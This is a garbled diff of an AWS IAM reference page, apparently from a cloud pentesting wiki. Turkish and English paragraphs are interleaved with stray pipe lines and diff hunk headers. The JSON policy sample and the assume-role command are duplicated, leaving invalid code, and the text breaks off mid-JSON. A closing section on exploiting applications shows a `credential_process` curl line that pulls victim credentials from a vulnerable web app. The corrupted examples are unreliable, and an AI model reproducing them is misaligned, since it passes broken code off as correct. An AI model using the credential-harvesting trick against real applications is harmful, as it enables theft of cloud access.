- Bir **kullanıcı grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir.
|
||||
- **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil.
|
||||
- AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız.
|
||||
- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı ile sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın.
|
||||
Here are some important characteristics of user groups:
|
||||
|
||||
### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları ile bir kimliktir**. Ancak, bir rolün kendisiyle ilişkili **herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak değil, bir rolün **ihtiyacı olan herkes tarafından üstlenilmesi** amaçlanmıştır (ve yeterli izinlere sahip olunmalıdır). Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) atanabilir.
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Bir IAM rolü, **iki tür politika** içerir: **boş olamaz** olan bir **güven politikası**, **rolü kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar.
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
#### AWS Güvenlik Token Servisi (STS)
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
|
||||
AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
|
||||
**Geçici kimlik bilgileri esas olarak IAM rolleri ile kullanılır**, ancak başka kullanımları da vardır. Standart IAM kullanıcınızdan daha kısıtlı bir izin setine sahip geçici kimlik bilgileri talep edebilirsiniz. Bu, daha kısıtlı kimlik bilgileri tarafından **izin verilmeyen görevleri kazara gerçekleştirmenizi** **önler**. Geçici kimlik bilgilerinin bir avantajı, belirli bir süre sonra otomatik olarak süresinin dolmasıdır. Kimlik bilgilerinin geçerli olduğu süre üzerinde kontrol sahibisiniz.
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
### Politikalar
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
|
||||
#### Politika İzinleri
|
||||
### Policies
|
||||
|
||||
İzinleri atamak için kullanılır. 2 türü vardır:
|
||||
#### Policy Permissions
|
||||
|
||||
- AWS yönetilen politikaları (AWS tarafından önceden yapılandırılmış)
|
||||
- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu kullanarak (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) veya kendi yazdığınız politikalarla dayalı politikalar oluşturabilirsiniz.
|
||||
Are used to assign permissions. There are 2 types:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
|
||||
**Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\
|
||||
Eğer **tek bir "Deny" varsa, "Allow"u geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
[Herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
[Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### Inline Politika
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\
|
||||
Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimliğe gömülü politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
|
||||
#### Inline Policies
|
||||
|
||||
#### Kaynak Bucket Politikaları
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
|
||||
Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**.
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Eğer bir anahtarın üzerinde açık bir reddetme yoksa ve bir kaynak politikası onlara erişim veriyorsa, o zaman izin verilir.
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
|
||||
### IAM Sınırları
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
|
||||
IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bunları kullanmaya çalıştığında işlem **başarısız** olur.
|
||||
### IAM Boundaries
|
||||
|
||||
Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· bucket'larını okuyabileceğini gösteriyorsa, yapabileceği maksimum şey budur.
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
|
||||
**Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır.
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
|
||||
### Oturum Politikaları
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
|
||||
Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir).
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
|
||||
Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) için (gelişmiş kimlik doğrulaması kullanarak) AWS, **oturum politikası ile oturum kimlik bilgileri** oluşturacaktır; bu, oturumun erişebileceği hizmetleri [**aşağıdaki liste ile sınırlamaktadır**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikası olmasıdır**.
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
### Kimlik Federasyonu
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
|
||||
Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\
|
||||
Bir kimlik sağlayıcı örneği, kendi kurumsal **Microsoft Active Directory**'niz ( **SAML** aracılığıyla) veya **OpenID** hizmetleri ( **Google** gibi) olabilir. Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
|
||||
### Identity Federation
|
||||
|
||||
Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (kimlik sağlayıcıya güvenen) atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
|
||||
Ancak, genellikle **üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcıya güvenebilir** ve üçüncü taraf platform, kullanıcıların bir rolü veya diğerini üstlenmesine izin verecektir.
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Kimlik Merkezi
|
||||
### IAM Identity Center
|
||||
|
||||
AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS hesaplarına ve bulut uygulamalarına kullanıcıların ve erişimlerinin yönetimini bir araya getiren merkezi bir yer** sağlar.
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
|
||||
Giriş alanı, `<user_input>.awsapps.com` gibi bir şey olacak.
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
|
||||
Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardır:
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
|
||||
- Kimlik Merkezi Dizini: Normal AWS kullanıcıları
|
||||
- Active Directory: Farklı bağlantıları destekler
|
||||
- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcıdan (IdP) gelir
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir hesabın** politikalarını **atama** yeteneğine sahip olacaktır.
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
|
||||
Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcı oluşturulacak** ve hedef hesapta **belirtilen politikalarla Kimlik Sağlayıcıya güvenen bir rol oluşturulacaktır**.
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
**IAM Kimlik Merkezi aracılığıyla oluşturulan rollere satır içi politikalar aracılığıyla izinler vermek** mümkündür. **AWS Kimlik Merkezi'nde satır içi politikalar** verilen hesaplarda oluşturulan roller, **`AwsSSOInlinePolicy`** adlı bir satır içi politikada bu izinlere sahip olacaktır.
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 rol görseniz bile, bu **aynı izinlere sahip olduğu anlamına gelmez**.
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
|
||||
### Hesaplar Arası Güvenler ve Roller
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**Bir kullanıcı** (güvenen) bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\
|
||||
**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, diğer kimlik doğrulaması yapılmış kullanıcılar, federasyon kullanıcıları gibi, bu güveni kötüye kullanabilir.
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
|
||||
### AWS Basit AD
|
||||
### AWS Simple AD
|
||||
|
||||
Desteklenmiyor:
|
||||
Not supported:
|
||||
|
||||
- Güven İlişkileri
|
||||
- AD Yönetim Merkezi
|
||||
- Tam PS API desteği
|
||||
- AD Geri Dönüş Kutusu
|
||||
- Grup Yönetilen Hizmet Hesapları
|
||||
- Şema Uzantıları
|
||||
- OS veya Örnekler için Doğrudan erişim yok
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
|
||||
#### Web Federasyonu veya OpenID Kimlik Doğrulaması
|
||||
#### Web Federation or OpenID Authentication
|
||||
|
||||
Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
|
||||
### Diğer IAM seçenekleri
|
||||
### Other IAM options
|
||||
|
||||
- **Şifre politikası ayarlarını** minimum uzunluk ve şifre gereksinimleri gibi seçeneklerle **ayarlayabilirsiniz**.
|
||||
- Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifrenin etkin olup olmadığı gibi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir.
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
|
||||
AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinlerini** sağlamak için izinleri yönetirsiniz.
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
|
||||
### IAM ID Ön Ekleri
|
||||
### IAM ID Prefixes
|
||||
|
||||
[**bu sayfada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) anahtarların doğasına bağlı olarak **IAM ID ön eklerini** bulabilirsiniz:
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
|
||||
| Tanımlayıcı Kodu | Açıklama |
|
||||
| Identifier Code | Description |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [AWS STS hizmet taşıyıcı belirteci](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Bağlama özel kimlik bilgisi |
|
||||
| AGPA | Kullanıcı grubu |
|
||||
| AIDA | IAM kullanıcısı |
|
||||
| AIPA | Amazon EC2 örnek profili |
|
||||
| AKIA | Erişim anahtarı |
|
||||
| ANPA | Yönetilen politika |
|
||||
| ANVA | Yönetilen politikadaki sürüm |
|
||||
| APKA | Genel anahtar |
|
||||
| AROA | Rol |
|
||||
| ASCA | Sertifika |
|
||||
| ASIA | [Geçici (AWS STS) erişim anahtarı kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile kombinasyon halinde benzersizdir. |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
|
||||
### Hesapları denetlemek için önerilen izinler
|
||||
### Recommended permissions to audit accounts
|
||||
|
||||
Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir:
|
||||
The following privileges grant various read access of metadata:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -342,13 +356,14 @@ Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Çeşitli
|
||||
## Misc
|
||||
|
||||
### CLI Kimlik Doğrulaması
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
|
||||
Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
|
||||
O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak o dosyadaki **`[default]`** adlı profil kullanılacaktır.\
|
||||
Birden fazla profil içeren kimlik bilgileri dosyası örneği:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -359,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur.
|
||||
|
||||
`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) mümkündür ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (rol üstlenme işlemi kullanıcı için şeffaf bir şekilde gerçekleştirilecektir).\
|
||||
Bir yapılandırma dosyası örneği:
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -371,30 +388,36 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz:
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Eğer buna **benzer** bir şeyi **tarayıcı** için arıyorsanız, **uzantı** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) kontrol edebilirsiniz.
|
||||
|
||||
#### Geçici kimlik bilgilerini otomatikleştirme
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
|
||||
Geçici kimlik bilgileri üreten bir uygulamayı istismar ediyorsanız, her birkaç dakikada bir sona erdiklerinde terminalinizde güncellemeleri yapmak zahmetli olabilir. Bu, yapılandırma dosyasında bir `credential_process` direktifi kullanılarak düzeltilebilir. Örneğin, bazı savunmasız web uygulamanız varsa, şunu yapabilirsiniz:
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
Şunu unutmayın ki kimlik bilgileri _şu_ formatta STDOUT'a döndürülmelidir:
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
